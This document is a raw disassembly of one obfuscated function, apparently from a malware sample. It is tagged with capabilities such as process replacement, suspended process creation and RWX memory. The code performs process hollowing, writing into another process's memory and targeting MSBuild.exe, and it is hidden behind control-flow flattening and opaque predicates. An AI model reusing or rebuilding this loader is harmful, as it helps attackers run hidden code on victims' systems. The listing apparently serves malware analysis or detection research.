Function at 0x10009c20
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Hide graphical window
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x130
mov eax, dword [0x10047600]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x138], 0x3500d18b
mov eax, dword [ebp - 0x138]
mov dword [ebp - 0x13c], eax
sub eax, 0x805025ae
je 0x100182d0
jmp 0x10009c5c
mov eax, dword [ebp - 0x13c]
sub eax, 0x805e52a2
je 0x10017ac1
jmp 0x10009c72
mov eax, dword [ebp - 0x13c]
sub eax, 0x8119d73c
je 0x1000f46f
jmp 0x10009c88
mov eax, dword [ebp - 0x13c]
sub eax, 0x81498704
je 0x100133fd
jmp 0x10009c9e
mov eax, dword [ebp - 0x13c]
sub eax, 0x818e373a
je 0x100131de
jmp 0x10009cb4
mov eax, dword [ebp - 0x13c]
sub eax, 0x81be7399
je 0x10016dee
jmp 0x10009cca
mov eax, dword [ebp - 0x13c]
sub eax, 0x82327aa8
je 0x1000ecf9
jmp 0x10009ce0
mov eax, dword [ebp - 0x13c]
sub eax, 0x82ea7518
je 0x100180a5
jmp 0x10009cf6
mov eax, dword [ebp - 0x13c]
sub eax, 0x83033dcf
je 0x100135cb
jmp 0x10009d0c
mov eax, dword [ebp - 0x13c]
sub eax, 0x8329edf1
je 0x10016929
jmp 0x10009d22
mov eax, dword [ebp - 0x13c]
sub eax, 0x837b5262
je 0x10016729
jmp 0x10009d38
mov eax, dword [ebp - 0x13c]
sub eax, 0x838831bb
je 0x1000fbd1
jmp 0x10009d4e
mov eax, dword [ebp - 0x13c]
sub eax, 0x8453f82b
je 0x10011c09
jmp 0x10009d64
mov eax, dword [ebp - 0x13c]
sub eax, 0x8468c358
je 0x10017f5b
jmp 0x10009d7a
mov eax, dword [ebp - 0x13c]
sub eax, 0x84f736b8
je 0x10017bc3
jmp 0x10009d90
mov eax, dword [ebp - 0x13c]
sub eax, 0x850564f0
je 0x100107f5
jmp 0x10009da6
mov eax, dword [ebp - 0x13c]
sub eax, 0x850c4197
je 0x10011cff
jmp 0x10009dbc
mov eax, dword [ebp - 0x13c]
sub eax, 0x851a2d10
je 0x10014548
jmp 0x10009dd2
mov eax, dword [ebp - 0x13c]
sub eax, 0x853cac4e
je 0x10011767
jmp 0x10009de8
mov eax, dword [ebp - 0x13c]
sub eax, 0x8590ca31
je 0x10010ef6
jmp 0x10009dfe
mov eax, dword [ebp - 0x13c]
sub eax, 0x85d6ad5e
je 0x1000fe56
jmp 0x10009e14
mov eax, dword [ebp - 0x13c]
sub eax, 0x86361d01
je 0x1000df6f
jmp 0x10009e2a
mov eax, dword [ebp - 0x13c]
sub eax, 0x867ddb1b
je 0x10013a7b
jmp 0x10009e40
mov eax, dword [ebp - 0x13c]
sub eax, 0x86bfc997
je 0x1000ed67
jmp 0x10009e56
mov eax, dword [ebp - 0x13c]
sub eax, 0x879da38d
je 0x1000e242
jmp 0x10009e6c
mov eax, dword [ebp - 0x13c]
sub eax, 0x886a1e9a
je 0x100106f4
jmp 0x10009e82
mov eax, dword [ebp - 0x13c]
sub eax, 0x88ac304a
je 0x1000f29c
jmp 0x10009e98
mov eax, dword [ebp - 0x13c]
sub eax, 0x89180f58
je 0x1000f542
jmp 0x10009eae
mov eax, dword [ebp - 0x13c]
sub eax, 0x894e9daa
je 0x10012ef3
jmp 0x10009ec4
mov eax, dword [ebp - 0x13c]
sub eax, 0x89807011
je 0x1000eddd
jmp 0x10009eda
mov eax, dword [ebp - 0x13c]
sub eax, 0x89959dc0
je 0x10010a10
jmp 0x10009ef0
mov eax, dword [ebp - 0x13c]
sub eax, 0x8a0c9c52
je 0x100141ae
jmp 0x10009f06
mov eax, dword [ebp - 0x13c]
sub eax, 0x8a23c262
je 0x10012480
jmp 0x10009f1c
mov eax, dword [ebp - 0x13c]
sub eax, 0x8a287568
je 0x10014903
jmp 0x10009f32
mov eax, dword [ebp - 0x13c]
sub eax, 0x8a5ad70e
je 0x1000f0da
jmp 0x10009f48
mov eax, dword [ebp - 0x13c]
sub eax, 0x8b754478
je 0x10013296
jmp 0x10009f5e
mov eax, dword [ebp - 0x13c]
sub eax, 0x8b75b72f
je 0x10017820
jmp 0x10009f74
mov eax, dword [ebp - 0x13c]
sub eax, 0x8ba9b69f
je 0x10017b84
jmp 0x10009f8a
mov eax, dword [ebp - 0x13c]
sub eax, 0x8bb65d46
je 0x1000efdd
jmp 0x10009fa0
mov eax, dword [ebp - 0x13c]
sub eax, 0x8bc3c6df
je 0x100173f7
jmp 0x10009fb6
mov eax, dword [ebp - 0x13c]
sub eax, 0x8c2e7893
je 0x1000e033
jmp 0x10009fcc
mov eax, dword [ebp - 0x13c]
sub eax, 0x8c6a483d
je 0x1001170f
jmp 0x10009fe2
mov eax, dword [ebp - 0x13c]
sub eax, 0x8c7456d6
je 0x100143f9
jmp 0x10009ff8
mov eax, dword [ebp - 0x13c]
sub eax, 0x8ca56b4a
je 0x10018552
jmp 0x1000a00e
mov eax, dword [ebp - 0x13c]
sub eax, 0x8d05773f
je 0x100154e4
jmp 0x1000a024
mov eax, dword [ebp - 0x13c]
sub eax, 0x8d1c6feb
je 0x10018312
jmp 0x1000a03a
mov eax, dword [ebp - 0x13c]
sub eax, 0x8db66e8c
je 0x100168d0
jmp 0x1000a050
mov eax, dword [ebp - 0x13c]
sub eax, 0x8de535a5
je 0x10012e1a
jmp 0x1000a066
mov eax, dword [ebp - 0x13c]
sub eax, 0x8e1ccfe5
je 0x10015bea
jmp 0x1000a07c
mov eax, dword [ebp - 0x13c]
sub eax, 0x8e4b38ae
je 0x100157ce
jmp 0x1000a092
mov eax, dword [ebp - 0x13c]
sub eax, 0x8f8d982e
je 0x10013467
jmp 0x1000a0a8
mov eax, dword [ebp - 0x13c]
sub eax, 0x8fe05f27
je 0x10014ee3
jmp 0x1000a0be
mov eax, dword [ebp - 0x13c]
sub eax, 0x901b4b2b
je 0x1001824f
jmp 0x1000a0d4
mov eax, dword [ebp - 0x13c]
sub eax, 0x90a20cc2
je 0x100169c3
jmp 0x1000a0ea
mov eax, dword [ebp - 0x13c]
sub eax, 0x90b5db37
je 0x10012281
jmp 0x1000a100
mov eax, dword [ebp - 0x13c]
sub eax, 0x912939f7
je 0x10013881
jmp 0x1000a116
mov eax, dword [ebp - 0x13c]
sub eax, 0x91792551
je 0x10014001
jmp 0x1000a12c
mov eax, dword [ebp - 0x13c]
sub eax, 0x91c2408e
je 0x100141bd
jmp 0x1000a142
mov eax, dword [ebp - 0x13c]
sub eax, 0x91dbc6fe
je 0x10012887
jmp 0x1000a158
mov eax, dword [ebp - 0x13c]
sub eax, 0x9206a4f0
je 0x100112d8
jmp 0x1000a16e
mov eax, dword [ebp - 0x13c]
sub eax, 0x920b0bfb
je 0x100134d9
jmp 0x1000a184
mov eax, dword [ebp - 0x13c]
sub eax, 0x92e109cf
je 0x1001141e
jmp 0x1000a19a
mov eax, dword [ebp - 0x13c]
sub eax, 0x9314ec9f
je 0x10014b62
jmp 0x1000a1b0
mov eax, dword [ebp - 0x13c]
sub eax, 0x93824914
je 0x100130c4
jmp 0x1000a1c6
mov eax, dword [ebp - 0x13c]
sub eax, 0x94355f11
je 0x10017947
push eax
mov eax, esp
mov dword [ebp - 0xcc], eax
push eax
push eax
push eax
mov eax, esp
mov dword [ebp - 0xc8], eax
push eax
mov eax, esp
mov dword [ebp - 0xc4], eax
push eax
mov eax, esp
mov dword [ebp - 0xc0], eax
push eax
mov eax, esp
mov dword [ebp - 0xbc], eax
push eax
mov eax, esp
mov dword [ebp - 0xb8], eax
push eax
mov eax, esp
mov dword [ebp - 0xb4], eax
push eax
mov eax, esp
mov dword [ebp - 0xb0], eax
push eax
mov eax, esp
mov dword [ebp - 0xac], eax
push eax
mov eax, esp
mov dword [ebp - 0xa8], eax
push eax
mov eax, esp
mov dword [ebp - 0xa4], eax
push eax
mov eax, esp
mov dword [ebp - 0xa0], eax
push eax
mov eax, esp
mov dword [ebp - 0x9c], eax
movss xmm0, dword [0x100257ec]
movss dword [ebp - 0x12c], xmm0
movss xmm0, dword [0x100257e8]
movss dword [ebp - 0x12c], xmm0
movss xmm0, dword [0x100257e4]
movss dword [ebp - 0x12c], xmm0
mov dl, 1
mov eax, 0x286ebb44
mov ecx, 0x8c2e7893
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x10018833
movss xmm0, dword [0x100257e0]
movss dword [ebp - 0x12c], xmm0
mov dword [ebp - 0x138], 0x587787b4
jmp 0x10018833
movss xmm0, dword [0x100257d8]
movss dword [ebp - 0x12c], xmm0
movss xmm0, dword [0x100257d4]
movss dword [ebp - 0x12c], xmm0
mov dword [ebp - 0x138], 0x2dd3a5f9
jmp 0x10018833
mov ecx, dword [0x10048928]
mov eax, dword [0x10048924]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x30ad5b43
mov ecx, 0x86bfc997
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x10018833
mov ecx, dword [0x10048928]
mov eax, dword [0x10048924]
mov edx, ecx
add edx, 0xb2bd5c67
sub edx, 1
sub edx, 0xb2bd5c67
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x30ad5b43
mov ecx, 0x89807011
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x10018833
mov dl, 1
mov eax, 0x6f2e6194
mov ecx, 0xbdc55679
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x10018833
mov dl, 1
mov eax, 0x8a5ad70e
mov ecx, 0xdfb42cc7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x10018833
movss xmm0, dword [0x10025770]
movss dword [ebp - 0x134], xmm0
mov dword [ebp - 0x138], 0xc74ff9d2
jmp 0x10018833
mov dword [ebp - 0x138], 0xf953daad
jmp 0x10018833
movss xmm0, dword [0x10025768]
movss dword [ebp - 0x134], xmm0
movss xmm0, dword [0x10025764]
movss dword [ebp - 0x134], xmm0
mov dword [ebp - 0x138], 0xfa3cd6c5
jmp 0x10018833
mov ecx, dword [0x10048928]
mov eax, dword [0x10048924]
mov edx, ecx
add edx, 0x24ac1c7a
sub edx, 1
sub edx, 0x24ac1c7a
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x2b2e5b95
mov ecx, 0x23e20976
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x10018833
mov eax, dword [ebp - 0x128]
movss xmm0, dword [0x10025728]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x128]
movss xmm0, dword [0x10025724]
movss dword [eax], xmm0
mov dword [ebp - 0x138], 0xd44a15d6
jmp 0x10018833
mov dl, 1
mov eax, 0x23663c62
mov ecx, 0x2d281f0d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x10018833
mov eax, dword [ebp - 0x120]
movss xmm0, dword [0x100256c8]
movss dword [eax], xmm0
mov dword [ebp - 0x138], 0x2926fcf1
jmp 0x10018833
mov dl, 1
mov eax, 0x1860e74
mov ecx, 0x3ed8496a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x10018833
mov eax, dword [ebp - 0x11c]
movss xmm0, dword [0x100256b8]
movss dword [eax], xmm0
mov dword [ebp - 0x138], 0x1fc04344
jmp 0x10018833
mov eax, dword [0x10048928]
mov ecx, dword [0x10048924]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x4bf4734b
mov ecx, 0x431faff6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x10018833
mov eax, dword [ebp - 0x118]
movss xmm0, dword [0x1002548c]
movss dword [eax], xmm0
mov eax, dword [0x10048928]
mov ecx, dword [0x10048924]
mov edx, eax
add edx, 0x563319bc
sub edx, 1
sub edx, 0x563319bc
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x3ca5611d
mov ecx, 0xf175f85d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x10018833
mov dword [ebp - 0x138], 0x6da862d2
jmp 0x10018833
mov dword [ebp - 0x138], 0xfee912dc
jmp 0x10018833
mov eax, dword [ebp - 0x118]
movss xmm0, dword [0x1002547c]
movss dword [eax], xmm0
mov eax, dword [0x10048928]
mov ecx, dword [0x10048924]
mov edx, eax
sub edx, 0xc9950cd2
sub edx, 1
add edx, 0xc9950cd2
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x35424b5e
mov ecx, 0xf8fbe393
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x10018833
mov eax, dword [ebp - 0x114]
movss xmm0, dword [0x10025464]
movss dword [eax], xmm0
mov ecx, dword [0x10048928]
mov eax, dword [0x10048924]
mov edx, ecx
add edx, 0x746c0552
sub edx, 1
sub edx, 0x746c0552
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x36a3fd25
mov ecx, 0x1ce505e9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x10018833
mov eax, dword [ebp - 0x114]
movss xmm0, dword [0x10025654]
movss dword [eax], xmm0
mov dword [ebp - 0x138], 0xcd04396d
jmp 0x10018833
mov ecx, dword [0x10048928]
mov eax, dword [0x10048924]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x169de72b
mov ecx, 0x76424854
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x10018833
mov dl, 1
mov eax, 0xd06726c2
mov ecx, 0xb871d1b8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x10018833
mov eax, dword [ebp - 0x110]
movss xmm0, dword [0x10025610]
movss dword [eax], xmm0
mov dword [ebp - 0x138], 0x602dee36
jmp 0x10018833
mov eax, dword [0x10048928]
mov ecx, dword [0x10048924]
mov edx, eax
add edx, 0xfb0de315
sub edx, 1
sub edx, 0xfb0de315
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x29e94905
mov ecx, 0x30d991ae
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x10018833
mov dword [ebp - 0x138], 0x6de0525a
jmp 0x10018833
mov eax, dword [ebp - 0x108]
movss xmm0, dword [0x100255d0]
movss dword [eax], xmm0
mov dword [ebp - 0x138], 0xc9d90f3e
jmp 0x10018833
mov eax, dword [ebp - 0x108]
movss xmm0, dword [0x100255c8]
movss dword [eax], xmm0
mov dword [ebp - 0x138], 0x72191623
jmp 0x10018833
mov eax, dword [ebp - 0x108]
movss xmm0, dword [0x10025424]
movss dword [eax], xmm0
mov eax, dword [0x10048928]
mov ecx, dword [0x10048924]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x74401512
mov ecx, 0x33f4901b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x10018833
mov eax, dword [ebp - 0x108]
movss xmm0, dword [0x100255bc]
movss dword [eax], xmm0
mov dword [ebp - 0x138], 0xa989ae45
jmp 0x10018833
mov eax, dword [ebp - 0x108]
movss xmm0, dword [0x10025420]
movss dword [eax], xmm0
mov eax, dword [0x10048928]
mov ecx, dword [0x10048924]
mov edx, eax
sub edx, 0xa1d82cf5
sub edx, 1
add edx, 0xa1d82cf5
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x82ea7518
mov ecx, 0xe3f8b296
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x10018833
mov dl, 1
mov eax, 0xe942f261
mov ecx, 0x15800f9e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x10018833
mov dword [ebp - 0x138], 0xe942f261
jmp 0x10018833
mov dword [ebp - 0x138], 0x97c61cdb
jmp 0x10018833
mov dword [ebp - 0x138], 0xc21a25b3
jmp 0x10018833
mov eax, dword [ebp - 0x100]
movss xmm0, dword [0x10025400]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x100]
movss xmm0, dword [0x100253fc]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x100]
movss xmm0, dword [0x100253f8]
movss dword [eax], xmm0
mov ecx, dword [0x10048928]
mov eax, dword [0x10048924]
mov edx, ecx
sub edx, 0x30c7c586
sub edx, 1
add edx, 0x30c7c586
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x23252960
mov ecx, 0xf9ae4856
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x10018833
mov dword [ebp - 0x138], 0x91c2408e
jmp 0x10018833
mov eax, dword [ebp - 0x100]
movss xmm0, dword [0x10025578]
movss dword [eax], xmm0
mov dword [ebp - 0x138], 0xa24833e5
jmp 0x10018833
mov ecx, dword [0x10048928]
mov eax, dword [0x10048924]
mov edx, ecx
sub edx, 0x1af7441e
sub edx, 1
add edx, 0x1af7441e
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x25d4f5cb
mov ecx, 0x38502b8d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x10018833
mov dl, 1
mov eax, 0x3aba7518
mov ecx, 0x786a0edb
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x10018833
mov dl, 1
mov eax, 0xf44a9b2d
mov ecx, 0xdf1463fb
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x10018833
mov ecx, dword [0x10048928]
mov eax, dword [0x10048924]
mov edx, ecx
sub edx, 0x5185fd4b
sub edx, 1
add edx, 0x5185fd4b
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x8d1c6feb
mov ecx, 0x4253957f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x10018833
mov dl, 1
mov eax, 0xcb55eb52
mov ecx, 0xabcd696d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x10018833
mov dl, 1
mov eax, 0xf7abd515
mov ecx, 0x4b728050
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x10018833
mov eax, dword [ebp - 0xf8]
movss xmm0, dword [0x1002551c]
movss dword [eax], xmm0
mov eax, dword [ebp - 0xf8]
movss xmm0, dword [0x10025518]
movss dword [eax], xmm0
mov dword [ebp - 0x138], 0xd1fce3d5
jmp 0x10018833
mov eax, dword [ebp - 0x94]
mov edx, dword [eax + 0x3c]
mov ecx, dword [ebp - 0x98]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0xe8]
mov dword [eax], ecx
mov eax, dword [ebp - 0xe8]
mov edx, dword [eax]
mov eax, 0x5c25d016
mov ecx, 0xbf6e23fc
cmp dword [edx], 0x4550
cmove eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x10018833
mov dword [ebp - 0x138], 0xfbc8b209
jmp 0x10018833
mov eax, dword [ebp - 0x6c]
mov ecx, dword [ebp - 0x68]
cmp eax, ecx
setbe al
and al, 1
mov byte [ebp - 0x61], al
mov eax, dword [0x10048928]
mov ecx, dword [0x10048924]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x4b6a21b4
mov ecx, 0x8329edf1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x10018833
mov dl, byte [ebp - 0x61]
mov eax, 0x90a20cc2
mov ecx, 0xe3d0df59
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x10018833
mov dword [ebp - 0x138], 0xb4d1201e
jmp 0x10018833
mov eax, dword [ebp - 0x48]
cmp dword [eax + 4], 0
setne al
and al, 1
mov byte [ebp - 0x41], al
mov ecx, dword [0x10048928]
mov eax, dword [0x10048924]
mov edx, ecx
sub edx, 0xa9bacd5
sub edx, 1
add edx, 0xa9bacd5
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x388a280d
mov ecx, 0x2941d3b2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x10018833
mov eax, dword [ebp - 0xd4]
mov ecx, dword [eax]
sub ecx, 0xb64d3772
add ecx, 8
add ecx, 0xb64d3772
mov eax, dword [ebp - 0xe4]
mov edx, dword [eax]
mov eax, dword [ebp - 0xd0]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebp - 0xd0]
mov eax, dword [eax]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0xe8]
mov eax, dword [eax]
add eax, 0x18
add eax, 0x10
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x138], 0xac66b8d
jmp 0x10018833
mov dword [ebp - 0x138], 0x611ae9c9
jmp 0x10018833
mov dword [ebp - 0x138], 0xe9f85b35
jmp 0x10018833
mov dword [ebp - 0x138], 0xb967acd3
jmp 0x10018833
mov eax, dword [ebp - 0x120]
movss xmm0, dword [0x100254a8]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x120]
movss xmm0, dword [0x100254a4]
movss dword [eax], xmm0
mov dword [ebp - 0x138], 0x58a2b428
jmp 0x10018833
mov eax, dword [ebp - 0x110]
movss xmm0, dword [0x10025448]
movss dword [eax], xmm0
mov dword [ebp - 0x138], 0x7fd9c539
jmp 0x10018833
mov eax, dword [ebp - 0x108]
movss xmm0, dword [0x10025420]
movss dword [eax], xmm0
mov dword [ebp - 0x138], 0x8f8d982e
jmp 0x10018833
mov dword [ebp - 0x138], 0x7b307232
jmp 0x10018833
mov eax, dword [ebp - 0xfc]
movss xmm0, dword [0x100253e4]
movss dword [eax], xmm0
mov eax, dword [ebp - 0xfc]
movss xmm0, dword [0x100253e0]
movss dword [eax], xmm0
mov dword [ebp - 0x138], 0x412865bf
jmp 0x10018833
mov dword [ebp - 0x138], 0x9314ec9f
jmp 0x10018833
mov eax, dword [ebp - 0xd8]
lea ecx, str.C:WindowsMicrosoft.NETFramework_v4.0.30319MSBuild.exe
mov dword [eax], ecx
mov eax, dword [ebp - 0xdc]
mov dword [ebp - 0x138], 0x6620cf64
jmp 0x10018833
jmp 0x10009c40